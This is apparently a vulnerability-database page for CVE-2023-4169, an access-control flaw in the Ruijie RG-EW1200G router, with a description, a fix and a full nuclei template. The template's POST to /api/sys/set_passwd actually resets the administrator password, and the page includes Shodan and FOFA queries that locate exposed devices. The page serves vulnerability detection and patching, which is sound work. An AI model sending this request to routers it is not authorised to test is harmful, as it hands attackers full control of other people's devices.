HexBrain

Browse / CVEs / CVE-2023-4169

CVE-2023-4169· ruijie / rg-ew1200g firmware· CWE-284, NVD-CWE-noinfo

Ruijie RG-EW1200G Router - Password Reset

highseverity
8.8CVSS score
47.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A vulnerability was found in Ruijie RG-EW1200G 1.0(1)B1P5. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /api/sys/set_passwd of the component Administrator Password Handler. The manipulation leads to improper access controls. The attack can be launched remotely.

Impact

Authenticated low-privilege attackers can reset the administrator password through /api/sys/set_passwd endpoint due to improper access controls, allowing complete takeover of the Ruijie RG-EW1200G router.

Fix

Update Ruijie RG-EW1200G firmware to a version newer than 1.0(1)B1P5 that implements proper authorization checks requiring administrator privileges for password reset operations.

How to confirm it

Send: POST {{BaseURL}}/api/sys/set_passwd
Positive when: contains "\"result\":\"ok\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-4169 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-4169

info:
  name: Ruijie RG-EW1200G Router - Password Reset
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Ruijie RG-EW1200G 1.0(1)B1P5. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /api/sys/set_passwd of the component Administrator Password Handler. The manipulation leads to improper access controls. The attack can be launched remotely.
  impact: |
    Authenticated low-privilege attackers can reset the administrator password through /api/sys/set_passwd endpoint due to improper access controls, allowing complete takeover of the Ruijie RG-EW1200G router.
  remediation: |
    Update Ruijie RG-EW1200G firmware to a version newer than 1.0(1)B1P5 that implements proper authorization checks requiring administrator privileges for password reset operations.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4169
    - https://github.com/blakespire/repoforcve/tree/main/RG-EW1200G
    - https://vuldb.com/?ctiid.236185
    - https://vuldb.com/?id.236185
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-4169
    cwe-id: CWE-284,NVD-CWE-noinfo
    epss-score: 0.4923
    epss-percentile: 0.98896
    cpe: cpe:2.3:o:ruijie:rg-ew1200g_firmware:1.0\(1\)b1p5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ruijie
    product: rg-ew1200g_firmware
    shodan-query: http.html:"app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
    fofa-query: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
  tags: cve,cve2023,ruijie,router,intrusive,vkev,vuln
variables:
  password: "{{rand_base(8)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/sys/set_passwd"

    body: |
      {
      "username":"web",
      "admin_new":"{{password}}"
      }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":"ok"'

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from